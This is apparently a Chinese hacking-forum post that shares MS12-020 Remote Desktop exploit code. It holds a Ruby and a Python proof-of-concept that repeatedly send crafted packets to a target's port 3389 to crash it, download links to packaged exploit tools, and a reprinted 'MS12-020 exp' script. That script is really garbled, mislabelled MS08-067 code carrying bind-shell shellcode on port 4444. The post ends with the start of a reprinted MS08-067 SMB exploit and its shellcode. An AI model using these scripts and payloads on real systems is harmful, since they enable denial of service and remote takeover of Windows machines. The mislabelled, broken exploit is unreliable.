def make_tpkt(data)
[
3, # version
0, # reserved
4 + data.length
].pack(‘CCn’) + data
end
def make_x224(data)
[ data.length ].pack(‘C’) + data
end
def make_rdp(type, flags, data)
[ type, flags, 4 + data.length ].pack(‘CCv’) + data
end
host = ARGV.shift
sd = TCPSocket.new(host, 3389)
pkts1 = []
# craft connection request
rdp = make_rdp(1, 0, [ 0 ].pack(‘V’))
x224_1 = make_x224([
0xe0, # Connection request
0, # ??
0, # SRC-REF
0 # Class : Class 0
].pack(‘CnnC’) + rdp)
pkts1 << make_tpkt(x224_1)
# craft connect-initial
x224_2 = make_x224([
0xf0, # Data / Class 0
0x80 # EOT: True / NR: 0
].pack(‘CC’))
# mcsCi
target_params = “”+
#”\x02\x01\x00″+ # maxChannelIds
“\x02\x04\x00\x00\x00\x22″+ # maxChannelIds
“\x02\x04\x00\x00\x00\x0a”+ # maxUserIds
“\x02\x04\x00\x00\x00\x00″+ # maxTokenIds
“\x02\x04\x00\x00\x00\x01″+ # numPriorities
“\x02\x04\x00\x00\x00\x00″+ # minThroughput
“\x02\x04\x00\x00\x00\x01″+ # maxHeight
“\x02\x02\xff\xff”+ # maxMCSPDUSize
“\x02\x04\x00\x00\x00\x02″ # protocolVersion
min_params = “”+
“\x02\x04\x00\x00\x00\x01″+ # maxChannelIds
“\x02\x04\x00\x00\x00\x01″+ # maxUserIds
“\x02\x04\x00\x00\x00\x01″+ # maxTokenIds
“\x02\x04\x00\x00\x00\x01″+ # numPriorities
“\x02\x04\x00\x00\x00\x00″+ # minThroughput
“\x02\x04\x00\x00\x00\x01″+ # maxHeight
“\x02\x02\x04\x20″+ # maxMCSPDUSize
“\x02\x04\x00\x00\x00\x02″ # protocolVersion
max_params = “”+
“\x02\x02\xff\xff”+ # maxChannelIds
“\x02\x02\xfc\x17″+ # maxUserIds
“\x02\x02\xff\xff”+ # maxTokenIds
“\x02\x04\x00\x00\x00\x01″+ # numPriorities
“\x02\x04\x00\x00\x00\x00″+ # minThroughput
“\x02\x04\x00\x00\x00\x01″+ # maxHeight
“\x02\x02\xff\xff”+ # maxMCSPDUSize
“\x02\x04\x00\x00\x00\x02″ # protocolVersion
userdata = “”+
# gccCCrq
“\x00\x05\x00\x14″+
“\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63″+”\x61\x81\x1c”+
# clientCoreData
“\x01\xc0″+”\xd8\x00″+ # header (type, len)
“\x04\x00″+”\x08\x00″+ # version
“\x80\x02″+ # desktop width
“\xe0\x01″+ # desktop height
“\x01\xca”+ # color depth
“\x03\xaa”+ # SASSequence
“\x09\x04\x00\x00″ + # keyboard layout
“\xce\x0e\x00\x00″ + # client build number
# client name
“\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x04\x00\x00\x00″+ # keyboard type
“\x00\x00\x00\x00″+ # kbd subType
“\x0c\x00\x00\x00″+ # kbd FuncKey
# imeFileName
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x01\xca”+ # postBeta2ColorDepth
“\x01\x00″+ # clientProductId
“\x00\x00\x00\x00″ + # serialNumber
“\x10\x00″+ # highColorDepth
“\x07\x00″+ # supportedColorDepths
“\x01\x00″+ # earlyCapabilityFlags
# clientDigProductId -poc has: “00000-000-0000000-00000″
“\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00″+
“\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00″+
“\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00″+ # connectionType
“\x00″+ # pad1octet
“\x00\x00\x00\x00″+ # serverSelectedProtocol
“\x04\xc0\x0c\x00″+ # desktopPhysicalWidth
“\x0d\x00\x00\x00″+ # desktopPhysicalHeight
“\x00\x00\x00\x00″+ # reserved
# clientSecurityData
“\x02\xc0″+”\x0c\x00″+ # header (type, len)
“\x1b\x00\x00\x00″+ # encryptionMethods
“\x00\x00\x00\x00″+ # extEncryptionMethods
# clientNetworkData
“\x03\xc0″+”\x2c\x00″+ # header (type, len)
“\x03\x00\x00\x00″+ # channel count!
# channel 0
“rdpdr\x00\x00\x00″+ # name
“\x00\x00\x80\x80″+ # options
# channel 1
“cliprdr\x00″+ # name
“\x00\x00\xa0\xc0″+ # options
# channel 2
“rdpsnd\x00\x00″+ # name
“\x00\x00\x00\xc0″ # options
# clientClusterData (not present)
# clientMonitorData (not present)
mcs_data = “”+
“\x04\x01\x01″+ # callingDomainSelector
“\x04\x01\x01″+ # calledDomainSelector
“\x01\x01\xff”+ # upwardFlag
#”\x30″ + [ target_params.length ].pack(‘C’) + target_params +
#”\x30″ + [ min_params.length ].pack(‘C’) + min_params +
#”\x30″ + [ max_params.length ].pack(‘C’) + max_params +
“\x30″ + [ 0x19 ].pack(‘C’) + target_params +
“\x30″ + [ 0x19 ].pack(‘C’) + min_params +
“\x30″ + [ 0x1c ].pack(‘C’) + max_params +
# userData
“\x04\x82″ + [ userdata.length ].pack(‘n’) + userdata
#mcs = “\x7f\x65\x82″ + [ mcs_data.length ].pack(‘n’) # connect-initial (0×65 / 101), length
mcs = “\x7f\x65\x82″ + [ 0x194 ].pack(‘n’) # connect-initial (0×65 / 101), length
mcs << mcs_data
pkts1 << make_tpkt(x224_2 + mcs)
# send a special one?
pkts1 << make_tpkt(x224_2 + “\x04\x01\x00\x01\x00″)
# send more pkts! – based on poc
10.times {
pkts1 << make_tpkt(x224_2 + “\x28″)
}
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xea”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xeb”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xec”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xed”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xee”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf0″)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf1″)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf2″)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf3″)
pkts1 << make_tpkt(x224_2 + “\x21\x80″)
bigpkt = pkts1.join(”)
loop {
sd.write(bigpkt)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01″)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02″)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03″)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04″)
# read connect-initial response
buf = sd.recv(1500)
# XXX: TODO: check response =)
#puts buf
}
sd.close
# BlackBap.Org
复制代码
既然ruby的数据包上已经声明了,这个脚本是基于“Chinese Shit”的脚本所写,并且修正了“Chinese Shit”上面的不完全符合协议的数据包
那么我们再来看一下“Chinese Shit”的PoC又是什么样子的,Python语言:
#ms12-020 “chinese shit” PoC v2 (wireshark版)
# 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用
# Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步
# 附件中添加time.sleep修正bug版本的py脚本
# BlackBap.Org
import socket
import sys
buf=”"
buf+=”\x03\x00\x00\x13″ # TPKT, Version 3, lenght 19
buf+=”\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00″ # ITU-T Rec X.224
buf+=”\x03\x00\x01\xd6″ # TPKT, Version 3, lenght 470
buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
buf+=”\x7f\x65\x82\x01\x94\x04″ #MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+=”\x01\x01\x04\x01\x01\x01\x01\xff” # “Fuck you Chelios” packet
buf+=”\x30\x19\x02\x04\x00\x00\x00\x00″
buf+=”\x02\x04\x00\x00\x00\x02\x02\x04″
buf+=”\x00\x00\x00\x00\x02\x04\x00\x00″
buf+=”\x00\x01\x02\x04\x00\x00\x00\x00″
buf+=”\x02\x04\x00\x00\x00\x01\x02\x02″
buf+=”\xff\xff\x02\x04\x00\x00\x00\x02″
buf+=”\x30\x19\x02\x04\x00\x00\x00\x01″
buf+=”\x02\x04\x00\x00\x00\x01\x02\x04″
buf+=”\x00\x00\x00\x01\x02\x04\x00\x00″
buf+=”\x00\x01\x02\x04\x00\x00\x00\x00″
buf+=”\x02\x04\x00\x00\x00\x01\x02\x02″
buf+=”\x04\x20\x02\x04\x00\x00\x00\x02″
buf+=”\x30\x1c\x02\x02\xff\xff\x02\x02″
buf+=”\xfc\x17\x02\x02\xff\xff\x02\x04″
buf+=”\x00\x00\x00\x01\x02\x04\x00\x00″
buf+=”\x00\x00\x02\x04\x00\x00\x00\x01″
buf+=”\x02\x02\xff\xff\x02\x04\x00\x00″
buf+=”\x00\x02\x04\x82\x01\x33\x00\x05″
buf+=”\x00\x14\x7c\x00\x01\x81\x2a\x00″
buf+=”\x08\x00\x10\x00\x01\xc0\x00\x44″
buf+=”\x75\x63\x61\x81\x1c\x01\xc0\xd8″
buf+=”\x00\x04\x00\x08\x00\x80\x02\xe0″
buf+=”\x01\x01\xca\x03\xaa\x09\x04\x00″
buf+=”\x00\xce\x0e\x00\x00\x48\x00\x4f”
buf+=”\x00\x53\x00\x54\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x04\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x0c\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x01\xca\x01\x00\x00\x00\x00″
buf+=”\x00\x10\x00\x07\x00\x01\x00\x30″
buf+=”\x00\x30\x00\x30\x00\x30\x00\x30″
buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″
buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″
buf+=”\x00\x30\x00\x30\x00\x30\x00\x30″
buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″
buf+=”\x00\x30\x00\x30\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x04\xc0\x0c”
buf+=”\x00\x0d\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x02\xc0\x0c\x00\x1b\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x03\xc0\x2c”
buf+=”\x00\x03\x00\x00\x00\x72\x64\x70″
buf+=”\x64\x72\x00\x00\x00\x00\x00\x80″
buf+=”\x80\x63\x6c\x69\x70\x72\x64\x72″
buf+=”\x00\x00\x00\xa0\xc0\x72\x64\x70″
buf+=”\x73\x6e\x64\x00\x00\x00\x00\x00″
buf+=”\xc0″
buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
buf+=”\x04\x01\x00\x01\x00″ # MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+=”\x03\x00\x00\x08″ #TPKT, Version 3, Length 8
buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
buf+=”\x28″ # MULTIPOINT-COMM-SERVICE T.125
buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
buf+=”\x38\x00\x06\x03\xef” # MULTIPOINT-COMM-SERVICE T.125
buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
buf+=”\x38\x00\x06\x03\xeb” # MULTIPOINT-COMM-SERVICE T.125
buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
buf+=”\x38\x00\x06\x03\xec”# MULTIPOINT-COMM-SERVICE T.125
buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
buf+=”\x38\x00\x06\x03\xed”# MULTIPOINT-COMM-SERVICE T.125
buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
buf+=”\x38\x00\x06\x03\xee”# MULTIPOINT-COMM-SERVICE T.125
buf+=”\x03\x00\x00\x0b” # TPKT, Version 3, Lenght 12
buf+=”\x06\xd0\x00\x00\x12\x34\x00″ #ITU-T Rec X.224
HOST = sys.argv[1]
PORT = 3389
for i in range(1000):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
print “sending: %d bytes” % len(buf)
s.send(buf)
rec = s.recv(100)
print “received: %d bytes” % len(rec)
s.close()
# BlackBap.Org
复制代码
据测试,上面版本的Chinese Shit仍然有很多bug,附件中新增了time.sleep修正bug版本的py脚本
如果你比较懒,可以直接下载以上PoC的压缩包,如果你比较勤快,可以点击以上代码的“复制代码”,并保存于记事本并重命名为xx.rb和xx.py并自己修正bug
附件说明:
*
* MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC
*
* Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版
* 西班牙语XP SP3和Win7/R2都成功
*
* Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本
* 添加了time.sleep
*
* rdp.exe则来自网上广泛流传的花钱购买的版本的利用工具
* rdp IP -v如果对方机器重启表示漏洞存在,且可利用。
*
* Apache 1.2.19 mod_jk 远程栈溢出漏洞.py是流传最广泛的Sabu@fbi.gov的娱乐版PoC
*
*
* Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步
* BlackBap.Org
*提供一个Win下测试成功的, 不需要ruby环境的EXE程序:
http://115.com/file/dpq7v1u4#
MS12-020利用工具-含bug修正版.rar
-----------------------一下为早期---------------------------
需要安装 FREERDP
这个貌似就是大家苦苦寻找的 ms12-020 exp
下载地址:http://115.com/file/anmgwyzh
视频地址:http://good.gd/1975261.htm
FREERDP 模块:https://github.com/FreeRDP/FreeRDP/downloads
转载于Dis9
标签: FREERDP 地址 http 貌似 downloads
MS12-020: 远程桌面中允许远程执行代码漏洞
这是网上流传的 ms12-020 exp py 版本代码:
#!/usr/bin/env python ############################################################################# # MS12-020 Exploi # # Uses FreeRDP ############################################################################# import struct import sys from freerdp import rdpRdp from freerdp import crypto from freerdp.rdpRdp import rdpNego #bind shellcode TCP port 4444 shellcode = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' shellcode += '\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9' shellcode += '\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56' shellcode += '\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22' shellcode += '\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30' shellcode += '\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81' shellcode += '\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42' shellcode += '\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22' shellcode += '\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9' shellcode += '\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79' shellcode += '\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab' shellcode += '\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa' shellcode += '\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48' shellcode += '\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1' shellcode += '\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0' shellcode += '\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe' shellcode += '\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9' shellcode += '\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84' shellcode += '\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56' shellcode += '\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8' shellcode += '\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79' shellcode += '\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6' shellcode += '\xba\xb5\x60\x56\x39\x4a\xb6\xa9' #Payload payload = '\x41\x00\x5c\x00' payload += '\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49' payload += '\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x68' payload += '\x58\x30\x41\x31\x50\x42\x41\x6b\x42\x41\x78\x42\x32\x42\x41\x32' payload += '\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x4b\x59\x49\x6c\x43' payload += '\x5a\x7a\x4b\x32\x6d\x5a\x48\x5a\x59\x69\x6f\x4b\x4f\x39\x6f\x71' payload += '\x70\x6e\x6b\x62\x4c\x44\x64\x71\x34\x4c\x4b\x62\x65\x75\x6c\x4c' payload += '\x4b\x63\x4c\x76\x65\x70\x78\x35\x51\x48\x6f\x6c\x4b\x50\x4f\x74' payload += '\x58\x6e\x6b\x33\x6f\x55\x70\x37\x71\x48\x6b\x57\x39\x6c\x4b\x66' payload += '\x54\x6e\x6b\x46\x61\x7a\x4e\x47\x41\x6b\x70\x7a\x39\x4c\x6c\x4c' payload += '\x44\x6f\x30\x62\x54\x44\x47\x38\x41\x4b\x7a\x54\x4d\x44\x41\x4b' payload += '\x72\x78\x6b\x39\x64\x35\x6b\x53\x64\x75\x74\x46\x48\x72\x55\x79' payload += '\x75\x6c\x4b\x53\x6f\x76\x44\x44\x41\x48\x6b\x35\x36\x4e\x6b\x54' payload += '\x4c\x30\x4b\x6c\x4b\x51\x4f\x65\x4c\x65\x51\x38\x6b\x77\x73\x36' payload += '\x4c\x4e\x6b\x6e\x69\x30\x6c\x66\x44\x45\x4c\x30\x61\x69\x53\x30' payload += '\x31\x79\x4b\x43\x54\x6c\x4b\x63\x73\x44\x70\x4e\x6b\x77\x30\x66' payload += '\x6c\x6c\x4b\x72\x50\x45\x4c\x4c\x6d\x4e\x6b\x73\x70\x64\x48\x73' payload += '\x6e\x55\x38\x6e\x6e\x32\x6e\x34\x4e\x58\x6c\x62\x70\x39\x6f\x6b' payload += '\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63' payload += '\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a' payload += '\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f' payload += '\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73' payload += '\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c' payload += '\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70' payload += '\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61' payload += '\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33' payload += '\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32' payload += '\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e' payload += '\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39' payload += '\x6f\x78\x50\x33\x58\x6b\x55\x51\x59\x4e\x66\x50\x49\x51\x47\x39' payload += '\x6f\x48\x56\x32\x70\x32\x74\x62\x74\x46\x35\x4b\x4f\x38\x50\x6e' payload += '\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e' payload += '\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51' payload += '\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64' payload += '\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37' payload += '\x41\x6b\x70\x7a\x53\x6e\x4a\x69\x6e\x32\x62\x46\x4d\x6b\x4e\x70' payload += '\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e' payload += '\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73' payload += '\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61' payload += '\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78' payload += '\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e' payload += '\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30' payload += '\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b' payload += '\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b' payload += '\x4f\x69\x46\x4b\x4f\x6e\x30\x68'; class SRVSVC_Exploit(Thread): def __init__(self, target, port=3389): super(SRVSVC_Exploit, self).__init__() self.__port = port self.target = target def __DCEPacket(self): print '[-]Connecting' self.__trans = rdp.transport.cert('rdp_np:%s\\x00\\x89]' % self.target) self.__trans.connect() print '[-]connected' % self.target # Making teh packet self.__stub='\x01\x00\x00\x00' self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' self.__stub+=shellcode self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x00\x00\x00\x00' self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' self.__stub+=payload self.__stub+='\x00\x00\x00\x00' self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00' self.__stub+='\x01\x00\x00\x00\x90\x90\xb0\x53\x6b\xC0\x28\x03\xd8\xff\xd3' return def run(self): self.__DCEPacket() self.__dce.call(0x1f, self.__stub) print '[-]Exploit successfull!...\nTelnet to port 4444 on target machine.' if __name__ == '__main__': target = sys.argv[1] print '\nUsage: %s <target ip> \n' % sys.argv[0] sys.exit(-1) current = SRVSVC_Exploit(target) current.start()
早期ms12-020 exp py
==================================================================== MS Windows Server Service Code Execution Exploit (MS08-067) (2k/2k3) ==================================================================== #!/usr/bin/env python ############################################################################# # MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled) # www.hackingspirits.com # www.coffeeandsecurity.com # Email: d3basis.m0hanty @ gmail.com ############################################################################# import struct import sys from threading import Thread #Thread is imported incase you would like to modify #the src to run against multiple targets. try: from impacket import smb from impacket import uuid from impacket.dcerpc import dcerpc from impacket.dcerpc import transport except ImportError, _: print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' sys.exit(1) print '#######################################################################' print '# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)' print '# www.hackingspirits.com' print '# www.coffeeandsecurity.com' print '# Email: d3basis.m0hanty @ gmail.com' print '#######################################################################\n' #Portbind shellcode from metasploit; Binds port to TCP port 4444 shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9" shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56" shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22" shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30" shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81" shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42" shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22" shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9" shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79" shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab" shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa" shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48" shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1" shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0" shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe" shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9" shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84" shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56" shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8" shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79" shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6" shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9" #Payload for Windows 2000 target payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41' payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41' payload_1+='\x41\x41' payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' 